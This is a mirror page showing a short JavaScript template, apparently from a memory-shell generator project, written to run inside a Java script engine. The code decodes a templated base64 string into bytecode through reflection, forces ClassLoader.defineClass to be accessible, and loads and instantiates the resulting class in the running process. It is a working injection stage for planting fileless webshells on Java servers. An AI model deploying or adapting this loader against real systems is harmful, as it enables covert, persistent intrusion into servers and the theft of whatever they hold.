mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
16 lines
965 B
JavaScript
16 lines
965 B
JavaScript
var base64Str = "{{base64Str}}";
|
|
var clsString = java.lang.Class.forName("java.lang.String");
|
|
var bytecode;
|
|
try {
|
|
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
|
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
|
|
} catch (ee) {
|
|
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
|
|
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
|
|
}
|
|
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
|
var clsInt = java.lang.Integer.TYPE;
|
|
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
|
defineClass.setAccessible(true);
|
|
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
|
clazz.newInstance(); |